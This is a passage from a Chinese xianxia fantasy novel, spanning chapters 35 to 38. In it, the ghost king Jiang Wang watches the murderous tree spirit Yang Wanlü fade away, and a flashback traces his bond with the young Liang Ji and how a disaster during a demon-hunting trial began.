可惜他无用,连现在维持人形都是勉强,就算拼尽全力一击过去,也不过是给江妄挠挠痒痒。
“我何时逼过你啊。”对面白衣翻飞的女子轻叹一声,“是你自己在逼自己。”
堂堂雪境法相的树灵,本该是雪神座下第一护法。他非人,非妖,不是世间所有凡俗物种,与众神一样,是天道规则的实体化表现。
可就是这样的身份,他却为了一己之私打破平衡屠戮无辜。根本,是罪无可恕。
就算江妄不拦他,他最终也逃不过被规则反噬的结局,又哪里能真的逍遥自在?还要累得雪神归元一起受罚。
江妄虽不清楚具体,但她知道,归元本就是被规则惩罚才困守雪境,若真被这蠢树连带,还不知道要怎样……
这桩因果生在南界,就一定要在南界了了。
……
啪嗒,一滴极冰凉的水自空中滴落,点在杨万缕头顶。
杨万缕似有所感,抬头向空中望去,却并没有发现什么异常。只好回看向对面的江妄。
那女鬼墨发半披,与轻纱白裙搅在江风里,飘然恍若神女,可她那一身阴冷鬼气,却浓重得让人根本无法忽略。
她明明就静静地站在那里,唇角含笑,眉目温善,杨万缕却觉得好像有无尽的悲意与疯狂压在她身上。
突然间,他从很久很久之前的回忆里翻出来了些许画面。
那是一个总是穿着黑锦劲装的女子,她的肩侧总是高悬着一把银月弯刀。她总是双眸弯弯地笑着,总是喜欢在风雪吹不到的地方痛饮烈酒。
杨万缕从未见过她穿别的颜色的衣裳,永远都是黑色,在那个白得过分的场景里,总是那样的醒目。
可也不只是因为黑衣的缘故的。
“因为那个人的灵魂绚烂热烈,足以透过皮囊穿过风雪被人瞧见,胜过世间万种色彩。”
他现在还记得,当时,归元神尊说这句话时的温柔神情。
……
此刻江妄那张脸,与往昔没有丝毫的分别,还是那样清丽无双。她还是喜欢双眸弯弯地说着玩笑话……
杨万缕却惊觉恍如隔世。
不过也是。
他们雪境中相识的那段日子,好像确实已经是很久远的事了。久远到真的过了好几辈子一样。
那时,他尚且不算生了灵智,更无法化作人形,只是一颗银色巨树。
而江妄则是寒星门主,万人尊崇的江北仙姬。
如今相见,他已是满身烧伤与杀孽的杨万缕,而江妄更是肉身死去,成了南界鬼王。
……
她说是他在逼自己,他听懂了。
规则束缚无时不扰得他命魂不宁。这些年,每添一笔人命因果,他都万般痛苦加身,生不如死。
是他违背天道规则,一直逼着自己对抗本性去疯狂嗜血。
是他……对不起归元神尊。
连片的卷云粘在晦暗的天幕上,紫色雷电翻滚其中,发出震荡魂灵的爆破声。啪嗒,啪嗒,啪嗒,又是几滴冰凉的水珠滴落。
下雨了……
杨万缕那一身本是银灰色的法袍已不见半点光泽,远看去好像和那片灰黑的天融为一体。
他可能快不行了。
也许根本用不着江妄做些什么,就能看这凶手自食恶果了。
而那几乎只剩一息的人,却像是受到什么指引一般伸出一只已经被烧得糊在一起的“手”,试图触碰空中缓慢滴落的雨。
冰凉的水珠打在他红紫色的畸形指尖,杨万缕竟觉得有一阵清凉舒缓的水流顺着他的指尖,缓缓地渗入他的灵脉之中。那股清凉一点点流遍他的四肢百骸,浸润着他灼痛的丹田,最后盘踞灵台久久不息。
一瞬清醒,他只觉好似全身残破枝叶已经重生再长,实实在在脱胎换骨了一番。
江妄眼看着对面奇丑无比的男人,他满身红紫色的皮肤崩开,那些难以修复的狰狞伤疤接连隆起然后脱落,畸形的指骨嘎吱嘎吱重新归位。
不过半炷香的时间,杨万缕满身伤痕洗去,已长出新鲜的白净皮肉来。
的确是下雨了,许是冥紫江起阵带来的气候变化。
但落在杨万缕身上那几滴很凉很凉的,如冰似雪的水珠,却不是凡雨。
江妄抬起头看向天际,阴云依旧,冷雨无声,啪,一道碗口粗的紫色光电闪过,江妄眼睛几乎被闪瞎了。
归元,你真是……
为这逆子操碎了心呐。
36. 第 36 章
雨不再是慢悠悠地下了,在半空中隐隐形成了一层薄薄雨帘。
晶莹细雨中,有一人立在一片翻开的土壤上。银灰色的长发飘散在江风里,露出他雪色的皮肤和一双冰蓝剔透的眼眸。
江妄笑了笑,也不吝赞美,
“你的人形,很好看。他……见过吗?”
“……”
对面那人虽是恢复了原貌,却并没有恢复生机,还是一副随时要断气的架势。可即便这样,杨万缕也没有再露出失望不甘之类的情绪。
他看向江妄的眼神里已没了血淋淋的痛恨,轻声回答说,
“之前无法凝实的。”
江妄也就明白了,他与梁天疏相识之时刚化人形,尚不能离开本体,也无法凝实。
等他真的修出人身,再与之相见的时候……却早已面目全非。
这样说来,梁天疏这个南界与他纠葛最深的人类,到头来,竟也只是见过他模糊的幻像……
可惜了。
这么漂亮。梁天疏之前没见过,以后……怕是也没机会见了。
“归元的意思,你懂了吗?”江妄看着他已经开始虚化的法袍边角。
“嗯。”杨万缕轻轻地点了点头。
灰色法袍袖口一翻,霎时,此方空气变得沉甸甸的。江妄看得分明,那是无数浑噩的魂魄。
便是那些“凭空消失”了的,江妄怎么都感知不到的魂魄。
皆是此番枉死的人和妖。
雪境之中,有一可以让人想起因果的镜子,名曰:谏往。
而它回答因果并不是无偿的,询问者也要付出相应的代价。
而这代价,往往是与魂魄有关。
很多人不知道,雪境是这上下两界,唯一一处被法则允许可以更改、甚至灭杀魂魄的地方。
这树灵是雪境的法相,自然有着和雪境一切相关的本事——他也能剥夺人的魂魄。
江妄隐隐看见了两个挨在一起的魂魄,一个上面时而划过粉色的流光,另一个的边缘则散发着暖黄色的光。他们两个一直在相互追逐,不时交织在一处。
是玉兰和那个金银花。
还有一个魂魄格外不同。它并不漂浮在半空中,而是沉得快要坠在地上,看它里面黑气浓郁,想来是戾气深重的缘故。
可尽管已经看不出形状,魂体也破烂得不成样子,它还是不断地跳起来撞击杨万缕的衣摆,试图给他“致命一击”。
怕是乔香主了。
树灵收走那些魂魄,大概只是怕他们被江妄拘去询问,暴露了自己。
但乔香主则不尽然,只看他魂魄的破损程度就知道了。
不留线索是一方面,更多是活着的时候没折磨够,为了死后继续折磨吧。
江妄记着在段云烁家感受到的魂魄碎片,此时细细寻找了一番,也没什么结果。
怕是早就被折磨得魂飞魄散了。
……
霎时,天光彻底熄灭,原本只是阴沉却隐约透着些光亮的天,此时只剩一片漆黑,连那些翻卷的云都看不见了。
好像这片天被什么硬是挡住了,雨珠降落的速度开始放缓,最后竟生生停下,悬在江妄等人头顶。
二十来个阴差不知道从哪儿冒了出来,各执勾魂武器站定。
也是,这样多的冤魂一齐出现,可不是要来一群阴差才搞得定嘛。
只是没想到,连他都惊动了。
江妄看向最后显出身形的黑无常,一拱手道,
“怎的劳范大人来一趟?”
黑无常板着一张冷脸,一时间也没接茬儿,只是指挥阴差们引魂记录。
江妄:……
算了,也正常。自己就是那个怎么劝都没用非赖着不走的困难户,甚至可能一度拉低了人家黑无常的勾魂率。他看见自己能高兴才怪了。
这么想着,江妄越发地赔笑脸,也不在意对方的冷淡,笑嘻嘻地左看看这个阴差检查魂体,右夸夸那个阴差登名划薄。
……黑无常的脸愈发冷了,那些阴差也便不敢理江妄,只紧赶慢赶地做着自己的活儿。
陌离之前一直都没有靠近,只是站在帐篷边神游天外,好像半点不关心这三城惨案的真凶,更对其间因果毫无兴趣。
做了“考题”,却不看“答案”。若让那些苦修却求不得飞升法门的修士看见了,怕是顾不得陌离的身份实力,也要杀了他泄愤吧……
直到此时,陌离才靠过来,看着江妄笑嘻嘻地和那些阴差说话。
黑无常抬眼一看,就是这一眼,黑无常的眉头便皱得更深了。
他定定地看了一会儿陌离,突然,他又转头看向他的“钉子户”江妄。
……
他嘴唇微动,像是想要说什么。结果还没等他张嘴,江妄便迎着他的视线对他温和地笑了笑。
那笑容和善极了,甚至可以说过分灿烂了,黑无常却下意识抖了一下。
黑无常的脸色又生生黑了一个度。
正好这时,他手下阴差回禀,那些魂魄已经全部登好了名,确认无误了。
黑无常只好准备返程,他把锁链收缩缠在手上,对着陌离行了一个礼,又不情不愿地对着江妄虚虚点了一下头。
随着阴差们一个个消失,此间天色一点点透出了光亮,由黑逐渐转回了暗红,最后又与千米之外的冥紫江连成了和谐的颜色。
他们周身的景色已经很明显是属于阳世的了,那位一身黑衣手缠铁索的阴差也渐渐维持不住身形,可他还是不甘心地回了头。
他望向那一身白衣的女鬼,
“江……仙姬,若是——欠债还钱、杀人偿命,倒也是应该。”
他万般犹豫,终是开口,“可是,世间劫数乃命中注定、法则使然,从未听说过有偿还之理……”
半晌,黑无常停住了,没有再继续之前的劝说。他神色复杂地看了看那位容貌俊美的仙君,到底没有再说什么,身形一隐,离开了。
刚刚,江妄给他传音,回答了他的话。
暗红色的天,镶着金边的浅红卷云里流窜着银龙般的紫电,细雨温润无声,带着水汽的风拂面而来。
那个纯白衣裙的女鬼姿容绝世,轻轻地笑着看过来,她身边伫立着一位冷玉般的仙君。仙君神情冷漠,从不言语,可是,他的余光里总是有着一个清浅的白影。
他们并肩而立,般配至极,显然是这幅油彩里的点睛之笔。
可惜,江妄对他说,
“大人既说是规则使然,那他的劫又岂是我能左右得了的?再者说,我也没想过叫他还命……”
那厉鬼轻言轻语地传音过来,
“还来爱和恨,就好。”
……
在飞升劫里去还死劫的爱与恨,这又哪里比要命轻松?
反倒是要百倍折磨加身,痛不欲生了。
不过,江妄有一句倒是说的没错,这位仙君的劫数确实不是她能左右的。
——他当阴差以来从未见过这般儿戏的劫数。
当真好笑。
……
随着那些冤魂离去,杨万缕的法袍也彻底灰暗下去,显然是生机用尽,走到尽头了。
他抬起双手,却发现指尖已经虚化,正一点一点散出银色的幽光,流萤一般融进雨幕里。
江妄也看向他。这树灵地抬起手来看,冰蓝色的眼珠里满是茫然,好像在疑惑为什么这么快。看起来无辜可怜极了。
可江妄又想起了张扶风,想起了那棵粉红色的玉兰,想起了那些惊恐与无助,和很多血肉模糊的场面。
可是她怎么也没法把那些,和现在她眼前这个干干净净的树灵联系起来。
江妄叹了一口气,到底是向自己低了头,
“不见一面吗?”江妄问他。
“……”杨万缕眼看着自己的手掌散了大半,却下意识做了一个抚摸脸颊的动作。
“来不及了。”
他没说见还是不见,只是来不及了。
“我可以帮你。”江妄一咬牙,既说了,她也不怕多说两句。
杨万缕摇了摇头,任由那些流萤爬上他银色的长发。
算了。算了。
“江仙姬,看在旧相识的份上,看在归元神尊还愿意渡我这个份上。我求你……
不要对外说我杀人的原因。可以吗?”
……
江妄美美翻了个白眼,狠吸了一口气,终是松口,
“你愿意遗臭万年当个变态杀人魔,当然好!”
杨万缕抬头,这次,他真心实意地笑了出来。
这人咬牙切齿地心软的模样,竟与从前一般无二。她根本,从未变过啊。
“江仙姬,你那一魄还在雪境,现在雪境未开,我虽可以利用它的气息,却没法把它拿出雪境。”
“……抱歉。”
江妄条件反射似的转头看陌离,正对上他疑问的眼神,不由得暗骂了一句。这蠢树,怎么什么都说啊?!
不过既已说了,江妄索性破罐子破摔,她语气不好地回怼道,
“我都是鬼了,现在拿出来又能有什么用啊啊?!”
已经虚化了半个身子的杨万缕笑得更开心了,闻言很敷衍地附和了一声,
“也是。”
江妄:……
心里骂的很大声。
然后,满心脏话地目送着他化作零碎的光点,被江风吹散在天地间。
江妄没有感受到他的魂魄。
也是,他是雪境法相所生的灵体,没有肉身,可能也没有命魂。他什么都没有。此一去,便是永远的消亡。
天地风景依旧,好像刚刚雨幕中银白长发的美人,只是江妄二人的一场幻觉罢了。
江妄还在装模作样地感慨,她身边的陌离却好像发现了什么。
陌离向杨万缕离去的方向走了过去,他俯身用灵力隔着拾起了一个带状的物体。
他拿着那东西转头看向江妄,刚要直起身说什么,手中的东西就被一阵风卷走。
杨万缕之前破土的大坑里又跃出了一人,不是梁天疏又是谁?
此时,他还是那身极狼狈的黑袍,左袖自根部被截断,鲜血凝固了大半边衣裳,右手袖子空荡垂下,更是显得那身形薄得像片枯叶。
他身前翻涌着一小股银白色的灵力,卷着刚从陌离手中抢过的东西——那是一条墨绿色的锦带。
梁天疏怔愣地看着面前的锦带,半晌又不可置信般地低下头闻了闻,然后,突然,他保持着那个垂着头的姿势笑出了声来。
那笑声阴森诡异,像是锯子
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来回划过砖瓦般生硬刺耳,那道长脸侧不断滚落一些被水稀释过的血珠,啪嗒,啪嗒,打在黄褐色的泥土上,像是炸开了一朵朵艳丽的太阳花。
雪神归元的神识早就离开了此方地界,所以现在下的雨只单纯是冥紫江起阵带来的气候变化,再不复之前的冰凉柔和。
雨势彻底大了起来,豆大的雨滴连片砸下,加上低气压,让人闷热压抑,半点透不过气来。
陌离看了一眼江妄,有海情的保护,她自然是半点雨也没有淋到的,可他还是走到她身边,用灵力在他二人头顶撑起了一个厚厚的保护罩。
江妄有心要劝一劝那雨中的梁道长,可是,满腹的嬉笑言语到了嘴边又生生咽了回去。
因为,她发现,确实没什么好劝的。
若换了她来,听香城那些人怕是死的更快更干净些。
她只是有点担心……
担心这个生硬挺拔的道长,折在大雨里。
果然,江妄的担心是对的。
梁天疏像是彻底失了力气般,咚地一下跪倒在地,激起一小片泥水。
在那条锦带同样即将落进泥水的那一瞬间,梁天疏也不知道哪里来的灵力,两道银色灵光划过他躯干两侧,快速织出两条手臂来。
梁天疏接住了那条飘摇的,早已看不出花纹了的,锦带。
他双手捧着,僵硬地聚拢刚生长出来的手臂,将锦带抱在胸前。
好像他所剩的灵力都被用来捏手臂了,梁天疏甚至没有撑一个保护罩,就那么生生地淋着雨,任由发丝黏在被雨和血打湿的衣袍上。
江妄倒是想帮忙,可也晚了,这么大这么突然的雨,淋一下就湿透了。她便没有打扰明显沉浸在自己世界里的梁道长。
她和陌离没敢打扰,梁天疏倒是自己主动打破了沉默的气氛。
“鬼王,陌离仙君,你们知道吗?这是第二次了。”
他垂着双眼,没看向任何人。雨水混合着他眼眶里的鲜血,化作两条血线,顺着苍白的枯瘦脸颊淌下来,
“他第二次在我面前,死了。”
……
梁天疏的嗓音头一次听起来这么正常,没有沙哑的不能听。他叙述平静,也没有不停喘息断断续续,
“……那天晚上,我满身破败,却透过门缝看见他的身形一点点消散,想必今日也是一样的吧。”
……
江妄很想说,可能是不一样的。因为,那时候这树怕是还没修出人形呢。
而今天他站在这里,随风化去,倒是很有几分归元的神韵,远比从前在雪境的时候令她惊艳。
但是,遗憾这种东西,不应该是她一个局外人来讲的。
江妄便没有做声,安静地听故事。
就听梁天疏麻木地继续说道,
“……一切结束后,那些人以为我活不成了,便松了警惕。我豁出一切拖着身体跑回家,哦不,那时应该已经叫‘乔家’了。
我摸进从前的院子,那么大的一棵树,枯的不成样子,已经没有多少生机了,我知道,我救不了他了。”他的话看似前言不搭后语,江妄二人却都听懂了,一时间,除了雨声,再无其他声音。
“我万念俱灰,存了死志。可命运总是这样,在不该好运的时候,很好运。我师父出现救下了我,她说我根骨好,若能修道,来日必有所成……
我当时哭着问她,若你能救我,为什么不来早一点?
……而你现在来了,又为什么要自以为是地救我?!
最后我答应了,以恳求她救万缕一命。
我自断了一臂全了师父逆天改命的因果,她也尽力了。树是活了,可惜,树灵散了,再无法聚起了。
万缕并没有活过来,我却觉得去不去死都无所谓了。”
……
“我改了名字,叫梁天疏。
属于梁霁的脸早就被毁的彻底,修为渐长后我重新捏了一张脸,一张属于梁天疏的脸,好像这样,就能和那个可怜的梁霁彻底划清界限了。
后来,我有了扶弱济世的贤名,也有了报复所有仇人的能力。再也不是从前为鱼为肉、任人拿捏的梁霁了。
可是我不能回去——我恨的太多,如何能一一杀掉?片云观待我恩重如山,我又怎能不顾师门声誉去报仇。
我也不愿回去,或者说,我不敢。
我想起过往便会浑身战栗,忍不住干呕。我只能一遍遍告诉自己,自己是梁天疏,和梁霁没有关系。
这般无能,很可笑吧?”
暴雨里,他骤然看向江妄他们,黑白分明的瞳仁紧紧盯着他们,利薄的唇勾出一个嘲弄的笑来,问他们自己是不是很可笑。
江妄沉默了,一向挂着笑容的脸上做不出任何一个假意的表情来。
梁天疏见自己的问题无人回答也不恼,他又笑了一下,收回了视线,
“在片云观三十六年,我被这些不堪过往折磨得形销骨立,险些生出心魔来。师父劝我去雪境,我没去。
只有我知道万缕,知道我的树是生了灵的。我怕如果我也忘了,这世上就再没人记得他了。
……我没想到,他还能回来,能记得一切。我没想到,他会为了给我报仇造下这么多杀孽。我没想到……
他会再一次死在我前面。”
37. 第 37 章
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回廊蜿蜒,一长串长流苏的灵光灯缀在檐边,连成一片昏黄柔和的光亮,并不会刺眼,反而恰到好处地让人将将能看清院中构造。
假山、流水、亭台这些放在其他宅子里算得上阔气的景观,在这院里却不受重视地挤在一个小角落里。而真正特别的、能让人看一眼就震撼不已的是——
院落正中央那一棵极其巨大的,大到能遮天蔽日一般的,灵树。
它比院中任何建筑和布景都要高很多。所以当它那些数不清的枝条垂落下来的时候,差不多能把整个院子遮住了。此时,它正在黑夜里闪动着微弱的灵光,远看过去就像一个巨大的银色瀑布。可若靠近看,却能发现,那些枝条上的叶片散发的并非银光,而是浅淡的幽蓝色。
这灵树显然是过大了,明显不是院落建造之初就存在的,应该是后来被人硬塞进这个“小院子”的。它根部周围被新翻动过的泥土也很好的证明了这一点。
不过前夜,院中却已是一片清寂,除了院子里造景的流水阵法不时传来轻微的声响,再听不见什么声音。
这种时候有人说话就分外明显,哪怕是很小的声音。
“诶呦,咱们少爷今天可是有点累了,歇下的也早。”
“可是呢,这么大一棵树栽进来,少爷喜欢的不得了,刚还要再拉着我说话呢。是我说‘少爷,你明天还有早课,要歇啦。’这才不情愿躺下。”
“把阵门锁上,我们也回吧。”
“……”
廊下,两个眉目清秀的年轻女使压低声音闲叙着话。
而她们口中“歇下了”的少爷,正抱着被子战战兢兢坐在床上,和要睡了没有半点关系。
作为居室的高阁里,梁霁透过纸糊的窗子眼睁睁看着那两个手提的灯笼越来越远,不由得更加攥紧了手中的被角。
他哪里是要和她们闲聊啊,他是……
一阵风呼的吹过,里间的灵光阵闪了闪,院中植物或有灵性的,个个抖着枝叶,恨不得缩进泥土母亲里。有几个生了灵体的,更是乱撞般挤在梁霁窗前,想要寻求庇护,却被阵法生生拦在外面,好不可怜。
梁霁平日里最喜欢这些个精灵,也和它们玩的极好,可是这时候他也顾不上安慰他的植物了。
披散着墨发的小少爷默默把自己缩成了更小的团,蹭到床角,离窗边稍稍远了一点。
听香梁家,那个十七岁就已是筑基后期的修炼天才梁小少爷……怕鬼,传出去岂不是让人笑掉大牙了。
不过为什么说有鬼呢?
梁霁这人,灵根里面木系变异,天生与植物亲近,可以感知到其他修士感知不到的植物情绪,甚至在一些情况下可以操控植物。
正因如此,他才养了一院子的植物,花花草草什么都有。现在,托梁家主的福,小少爷又多了一棵超大的树。
梁家主刚从雪境回来,这一趟不仅心境得以提升,更是带回来了一棵奇树,据说是雪境里的稀有品种。
知道儿子喜欢植物,他一回来,就连忙找人把这棵奇树移栽进儿子的小院。
于是,梁霁院子里开始闹鬼了。
具体表现为——他所有的植物都变得躁动不安,这种情况只有鬼怪魔物入侵时才会出现。
还有,就是……
他的衣服,为什么会自己飘起来啊啊啊!!
梁小少爷拿出了自己全部的勇气没有往屏风后面看,直到……
一只袖子绕过屏风,上下挥动了一下,像是在和梁霁打招呼。
……啊啊啊啊啊!
“滚……滚出来!少在那里见不得人了!我可是筑基修士,不想魂飞魄散就趁早逃命,小爷我就不跟你一般见识……冤有头债有主,你找我干什么啊……”
不怕鬼的梁小少爷死死捏着手里的符纸,连召一把剑都忘了。
那袖子停了一下,怯怯地缩回屏风后面了,梁霁还没松一口气,下一瞬,一整套衣服都飘了出来。
……
这回小少爷倒是没吓得厥过去,反而大着胆子瞧了这套衣服一会儿,最后,他露出了一个有些奇怪的表情。
这套衣服穿的七零八乱,一条墨绿色的腰带硬是悬在最上方,像是挂在头上似的。
这可是他很喜欢的一套法衣,怎么……叫这鬼穿成这样?梁霁有点无语。
然后,他就看那套衣服得寸进尺地想要向他飘过来。
你,你不要过来啊……
可他还是眼看着人家飘了过来。
随着“衣服”动作,墨绿锦带掉在了地上,“衣服”也没回去捡起来,反而向梁霁伸出了一只袖子,做了一个要握手的动作。
梁霁迟疑了一下,但他毕竟少年心性,看见对方示好,也不管自己上一秒还怕的要死,就也伸出一只穿着寝衣的手,试探性地握住了那只袖子。他自己衣服的袖子。
这一握,梁霁愣了一下,之后便是长舒了一口气,他一把掀开自己的被子跳了起来。
不是鬼啊!
是,新朋友!!
袖子指了指窗外,梁霁的眼睛更亮了,原来是那棵大树!
他立刻掀开窗边的阵法,打开窗子,把那些刚要一哄而散的精灵们拢了回来。
梁霁推着那些瑟瑟缩缩的精灵,把他们一个个介绍给大树认识。
就这么玩到后半夜,送走他的植物们,梁霁又发愁地看着对面新朋友的混乱穿搭。
他轻轻地扯扯新朋友的袖子,犹豫着开口,
“这衣服不是这么穿的……”
“衣服”弯曲了一下,袖子垂了下来,很沮丧的样子。
梁霁赶忙哄它,
“哎呀,等你修出人形了,这身衣服便送你可好?”
他下床捡起那条墨绿色的锦带,对着看不见的灵体笑道,
“到时候我亲自给你穿。”
……
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“父亲!父亲父亲父亲!你到底有没有在听我说话啊!”梁小少爷双手叉腰站在大堂中央,摇头晃脑地倾身质问。
“那树如何?可能为你所用?”梁家主放下手里的书,笑着回头问道。
“我是在说这个吗?!我是说我给我的树起名字了!叫梁万缕!父亲你看,他那么多长长的枝条垂下来,‘万缕’多贴切呀……”小少爷说的头头是道,脑后高束的马尾甩来甩去。
梁家主耐心听完,也顺着儿子的话应了一声,“杨万缕?”
“……梁,是梁万缕。”
“哦,杨万缕啊。”
……
“满满,你家少爷给大树取了个好名字!”梁霁又忙不迭地显摆起来了。
“诶?叫什么呢?”水灵灵的女使问道。
“梁万缕!”小少爷挺起了胸脯。
“好名字啊!少爷就是有才华!”满满一脸真诚地夸赞,然后回头和其他伙伴分享的时候,却是这么说的,
“不知道了吧?那大树有名字,叫杨万缕!”
……
后来,小少爷从母亲隐晦的言语里得知了原因。
听香城世家之首,梁氏大族。梁这个姓氏不可以乱给的。何况很多人根本不相信大树有灵,只是把所谓“梁万缕”当成了小少爷又一次的过家家罢了。
那是小少爷第一次意识到,溺爱自己的一大家人也不是完全温柔平和的。
他站在大树下支支吾吾地解释,“你那么高,树干那么直,很像画册里北界的杨树。‘梁’‘杨’听起来差不多,所以……”
他无比完美又和谐的世界,在那一刻好像出现了一丝裂痕。
大树却不在意,灵体虚虚地抱了他一下,那些闪着灵光的枝条轻轻晃着,发出好听的沙沙声,在说自己很喜欢……
--
十七岁的梁霁,年轻、气盛、光芒万丈,走到哪里都是前呼后拥,被赞美的言语与艳羡的目光包围。
他从来不缺朋友。
听香城所有世家大族的年轻后辈,不论比梁霁大上多少,只要能算是一辈,便都争着和他来往,并处处以他为主。
可他最好的朋友不是这些人。
没有人知道,梁小少爷最亲近的朋友,是他院中的一棵树,一棵甚至没有人形的树——杨万缕。
春秋冬夏,读书练剑,晨起入眠,总是那棵树陪着他。
天蒙蒙亮的时候,他被人扯起来练剑,杨万缕从本体中飘出来,迷迷糊糊地看着。
……
月上中天,他被罚抄的书还剩好多,杨万缕飘到他书桌前,幻化出四只手,废力握着四只笔陪他写。
……
门外护法的师兄弟偷懒,是杨万缕急急飘进来,推醒气息走偏的少爷。
……
经史乏味无聊,先生却要检查书本,是杨万缕悄悄藏起少爷开小差写的纸条。那回,他把纸条翻了个面儿,内容便露了出来。
少爷没有乱涂乱画,反而是工整地誊了一句诗:
“时有落花至,远随流水香。”
……
梁小少爷总是一脸期待地问他的树,“你到底什么时候能修成人形啊,”他想树能陪他一起出去玩,而不是因为生长地的局限只能在家等他。
每当这时,他的树总是晃晃他漂亮的枝条,
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表示快了。
可是杨万缕心里却知道,怕是要很久的。
他是雪境的法相,离开了雪境自然处处受限,反而还不如下界普通的树,想修成人形倒是还有可能,但是想摆脱生长地的束缚,太难了。
梁霁其实也知道很难,但是他还是天天问这个问题,甚至开始畅想树修成人形会是什么样,是男是女。
如果很丑,他还要不要和树做好朋友?
这种念头在娇气的小少爷脑海里划过,又很快消了下去。
算了,丑又如何,杨万缕永远是梁霁最好的朋友!
--
“我可提醒你,你一百七十多岁了!还迟迟不能结婴,再不想点办法,你还有几年好活?!”一个眉目间略显浊气的中年男子坐在主位吼道,他显然是气急了,随手抄起个简讯玉牌扔了下去。
他下首处跪着一个看起来较年轻的男子,看见乔家主扔下玉牌也不闪不避,还是沉默地跪在原地,正正被玉牌打在额角,伤口淌下鲜红的血来。
“人之寿数自有天定,剩下几日活好几日便罢。若心生贪妄,失了本心,才是枉做修士。”
家主在上,乔洒松没敢用灵力愈合伤口使他更生气,又实在觉得额头滴血太不得体,便从袖中掏出帕子细细擦拭了起来。
可是乔家主还是更生气了,“谁管你活几天!乔家呢?乔家怎么办?!内忧外患一个不少,难道你要看着乔家被梁家他们一点点吞干净了吗!……靠自己不行,我们只有最后一条路了,掌控执法宗门……”
“……父亲。”乔洒松很久没叫过面前这个人父亲了,他叹气,“父亲,乔家命数如此……我们一家人好好的就是……”
何必强求呢?
何必强求挤进世家前列,何必强求垄断听香矿业……
那时的乔洒松不明白,他单纯地想着:人活着,所有人都按自己想要的样子好好活着,不就算是很好了吗?
……
又一个东西砸了下来,“你闭嘴!你懂什么?!”
……两个人都喘着粗气。
最后,主位那个男人很疲惫的样子,语气缓了下来,却说出了让乔洒松不得不妥协的话,
“我只有两个孩子,你的天赋还算是好些,如今也走到这般。你认命也罢,我让你妹妹去就是了……”
刚刚还垂头跪着的男人猛然抬头,一脸难以置信地看着那个他刚刚还称作是“父亲”的人。
半晌,他惨然一笑,深深叩首下来。
他不知道自己是怎么起身的,怎么走出那扇门的,正恍惚着,就正好撞见门口来给他送帖子的梁霁。
他们世家子弟一伙人中,乔洒松年纪最长,为人最端正,平日里对这些“弟弟妹妹”也最是照顾。
梁霁瞧不上的很多人里,从来没有这位乔大哥。甚至在梁霁心底,对乔洒松那种超然的气质是很推崇的。
所以这次梁霁闲来无事,便亲自来送这结伴灭杀怒丧魔的历练帖子,想着顺道看看乔洒松。
哪里想到,他悄悄进来,却正好听到了“乔家”、“梁家”这些。
梁霁早就不是什么都不懂的孩子了,他早知道那些人都是面前满脸笑,背后一把刀,家族争利,你死我活。因此,他虽然诧异乔家与梁家竟然已经不睦到了如此地步,却也没有特别震惊。
可他也知道听香楼是修什么的。
便一时顾不得乔家与梁家如何,只想着该怎么劝慰乔大哥。
可还不等梁霁开口,乔洒松就调整好表情,主动开口问了,
“小霁来找我?什么事?”
这个小少爷永远把所有情绪都挂在脸上,只看他那一脸别扭又掺着同情的表情,乔洒松就知道他全听见了。
而乔洒松不知道的是,他眼里心思单纯的小少爷,同样一眼看出了他脸上浓重的羡慕。
梁霁只作不知,拿捏着语气开口,告诉了他大家要去灭杀怒丧魔的事。
果不其然,乔洒松摇了摇头,
“你刚也听到了对吧,我很快要……这种剑道的历练我就不去了吧。”
“……”
梁霁一时不知道该说什么,他无法更改人家的决定,而且他顶着梁家人的身份,又怎么去管乔家少爷的事呢?
他只想着能让乔大哥开心些,哪怕是一小会儿。
“去嘛去嘛,大家都去,你不去他们就都不去了,还怎么组得起来?乔大哥,去嘛……”
乔洒松架不住梁霁劝说哀求,便松了口,心里也告诉自己是最后一次了。
可就是这最后一次告别式的历练,却成了那么多仇恨的起始。
38. 第 38 章
无论什么东西,当它完全被一种情绪侵占的时候,总是会变成彻头彻尾的魔物。
所谓怒丧魔,是一种没有实体的魔物,它的前身可能是生了魂灵的器具,可能是动植物,甚至是人。当这些生物完全被“愤怒”这种情绪驱使的时候,“怒丧魔”就诞生了。
由于这种魔物没有实体,它们作乱的主要形式就是占据他人的身体,控制宿主的意识,导致宿主做出一系列极为失控的举动,来发泄他们的愤怒。
而被怒丧魔夺舍的宿主,几乎是没有恢复的可能的。因为这种魔物是愤怒的化身,执怨程度与魔化的厉鬼近似,一旦入侵宿主身体,就是咬死不放,哪怕和宿主一道死,也绝不下来。
但魔高一尺道高一丈,各地执法宗门针对这种魔物有专门的办法,基本是可以把它们带来的风险压到民众可以接受的范围之内的。
有的宗门世家,尤其是修剑道的,甚至会在灭杀怒丧魔的时候,把一些实力较弱的活捉,带回去圈养起来,以供年轻弟子历练。
梁霁他们那次约着的“灭杀怒丧魔”,就是在这种人工搭建的历练场。按理来说,风险几乎是没有的,不过是一群少爷小姐借着修炼名头,搞的有彩头的小聚会罢了。
所以,梁霁只想着叫乔洒松出来散散心,乔洒松也只是想着短暂地逃离那个令他作呕的“家”。
没有人真的把这次历练当一回事。
可是有句老话说的好,哪里有压迫哪里就有反抗。这些老NPC怒丧魔竟然也有了智商,学会了卧薪尝胆和扮猪吃虎。
历练场看守的弟子从来没有统计过怒丧魔的数量,这就给了这些“低智魔物”机会。
一只怒丧魔不知道吞噬了多少同类,实力早已逼近结婴境,可它一直压低实力蛰伏,没有被任何人察觉。
那一天,其实是有人察觉到了的。
乔洒松觉得场内的气息不对,一直捏着剑不肯踏入传送阵。
有几个年纪大一些的修士也说不对。
可梁霁那时太年轻了,修为却又太高了。
他才二十四岁,就结了金丹,契了本命剑赤乌,到达了乔洒松他们一百多年才达到的境界。他对自己找的历练场毫无怀疑,甚至他觉得乔洒松是因为心绪郁结,才会疑神疑鬼。
于是他更是不停地劝说乔洒松等人不要多想。甚至为了让他们相信,梁霁当场把赤乌放在阵法外,只带了几张符纸几块阵石就进了传送阵。
他一进阵,那些人也陆续进阵,试炼正式开始。乔洒松无法,只得也进去了。
……
那只怒丧魔扑上来的时候,梁霁几张雷符下去,它攻击的速度确实是降下来了,表现得与正常的怒丧魔没有什么区别。
而正当梁霁开开心心准备最后一击时,那只怒丧魔却突然不装了,一瞬间就到了梁霁眼前,只差一点就要夺了梁霁的躯壳。
是乔洒松一剑挑过去,硬生生拉开了它与梁霁的距离。
却也让那只怒丧魔死死扒在了自己的剑上,怎么都甩不掉。
然后,梁霁和在场所有修士,包括乔洒松自己,都使出了一切他们认为有用的招数,却还是眼睁睁看着那只怒丧魔一点点爬过去,侵占了乔洒松的身体。
……
